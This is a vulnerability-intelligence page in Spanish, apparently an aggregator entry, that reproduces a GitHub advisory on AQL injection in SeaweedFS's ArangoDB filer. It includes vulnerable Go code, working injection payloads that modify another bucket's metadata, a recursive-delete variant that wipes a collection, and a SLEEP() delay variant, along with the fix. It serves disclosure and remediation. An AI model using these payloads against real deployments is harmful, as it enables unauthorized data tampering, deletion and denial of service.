llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · github.com/seaweedfs/seaweedfs

GHSA-3883-FR8H-XRQG

ArangoDB AQL Injection in S3 Listing and Recursive Deletion

Sin parche publicado
Descargar PNG JSON
CVSS 3.1
9.9
Crítica
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición69 dDesde la divulgación, 12 sept 2026, 11:08 a. m.
Detección68 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir de cerca
Monitorear y programar la remediación
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico total. No hay versión corregida: aplique mitigaciones.
No es para las 3 a. m., pero sí para esta semana.Ponla primerita en tu backlog, porfa.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
12 sept 26
20 nov 26
21 nov 26
12 sept 26
30 sept 26
17 oct 26
4 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-3883-FR8H-XRQG divulgada · CVSS 9.9 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

### Summary
The ArangoDB filer backend builds AQL queries by concatenating S3-controlled values such as `prefix`, `marker`, and filer paths directly into the query text. An authenticated S3 user with permission to list one bucket can inject an AQL subquery that modifies metadata in another bucket's ArangoDB collection, bypassing S3 bucket authorization. The same vulnerability also allows bucket-wide metadata deletion and query-delay denial of service.

### Details
In `weed/filer/arangodb/arangodb_store.go`, `ListDirectoryPrefixedEntries` inserts `startFileName` and `prefix` directly into AQL:

if includeStartFile {
	query = query + " filter d.name >= \"" + startFileName + "\" "
} else {
	query = query + " filter d.name > \"" + startFileName + "\" "
}
if prefix != "" {
	query = query + fmt.Sprintf(`&& starts_with(d.name, "%s")`, prefix)
}

The resulting query is executed with only `dirPath` supplied as a bind variable:

cur, err := store.database.Query(ctx, query, map[string]interface{}{"dir": dirPath})

The `prefix` value is inside the second argument of `starts_with`, but it is not escaped. A value such as:

x" && false || (FOR q IN `injdel` LIMIT 1 UPDATE q WITH {poc:"BYPASS_DENY"} IN `injdel` RETURN "") || "

produces an AQL expression equivalent to:

starts_with(
  d.name,
  "x" && false ||
  (FOR q IN `injdel`
     LIMIT 1
     UPDATE q WITH {poc: "BYPASS_DENY"} IN `injdel`
     RETURN "")
  || ""
)

ArangoDB executes the injected subquery before the S3 listing completes. The subquery is not subject to S3 authorization because it runs with the filer’s configured ArangoDB credentials.

The recursive-delete path has the same issue. `DeleteFolderChildren` interpolates `fullpath` twice into an AQL `REMOVE` query:

query = query + fmt.Sprintf(`
for d in %s
filter starts_with(d.directory, "%s/")  || d.directory == "%s"
remove d._key in %s`,
	"`"+targetCollection.Name()+"`",
	strings.Join(strings.Split(string(fullpath), "/"), ","),
	string(fullpath),
	"`"+targetCollection.Name()+"`",
)

Trailing-slash S3 keys reach this code through `deleteDirectoryMarker`, which recursively removes stale `.versions` history.

### PoC
Deployment: SeaweedFS `30GB 4.41` with an ArangoDB-backed filer on port `8888` and S3 on port `8333`.

The `alice` identity had no `Admin` action. A temporary bucket policy denied Alice all S3 access to `injdel`:

{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Deny",
    "Principal": "*",
    "Action": "s3:*",
    "Resource": [
      "arn:aws:s3:::injdel",
      "arn:aws:s3:::injdel/*"
    ]
  }]
}

Alice's normal request was denied:

GET /injdel/foo%22
→ 403 AccessDenied

Alice then sent a normal authenticated `ListBucket` request to `injtest` with this URL-decoded `prefix`:

x" && false || (FOR q IN `injdel` LIMIT 1 UPDATE q WITH {poc:"BYPASS_DENY"} IN `injdel` RETURN "") || "

The request returned a successful S3 listing:

GET /injtest?list-type=2&prefix=<payload>
→ 200 OK

The supposedly inaccessible `injdel` collection was modified:

{"name":"foo\"","poc":"BYPASS_DENY"}
Destructive variant

Using the same non-admin identity, create these keys in `injtest`:

x" || true || "/.versions/old
x" || true || "/

Delete the trailing-slash marker:

DELETE /injtest/x%22%20%7C%7C%20true%20%7C%7C%20%22/
→ 204 No Content

The `injtest` ArangoDB collection contained 15 metadata documents before the request and zero afterward, including unrelated objects.

Query-delay variant

This list prefix was accepted by the S3 API:

x" && false || TO_STRING(SLEEP(1)) && false || "

With three objects in the directory, the listing returned `200` after approximately three seconds. An unbalanced quote such as `x"` produced an S3 `500 InternalError`.

### Impact
An authenticated S3 user with list access to any bucket can execute AQL writes through the listing endpoint and modify another bucket's metadata without authorization. This can change fields such as `directory`, `name`, `meta`, and `ttl`, potentially hiding or corrupting objects. The recursive-delete variant can remove every metadata document in a bucket collection, and the `SLEEP()` variant can consume filer and ArangoDB request capacity.

The filer HTTP delete endpoint is also unauthenticated by default, so deployments exposing the filer service increase the attack surface.

### Fix
The fix is to use AQL bind variables for every request-controlled value, including `prefix`, `startFileName`, `fullpath`, and dynamic collection names (`@@collection`). Do not concatenate user input into AQL query text. Restrict the ArangoDB account to the intended database/collections and protect filer HTTP/gRPC management endpoints with authentication and network isolation. Add regression tests containing quotes, newlines, AQL operators, subqueries, and `SLEEP()` in S3 list and recursive-delete inputs.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
8.7/ 10Muy alto
Vector 8.7 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida
github.com/seaweedfs/seaweedfs≥ 3.00 ≤ 4.42
3.00
4.42
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Gogithub.com/seaweedfs/seaweedfs
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-3883-fr8h-xrqg

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.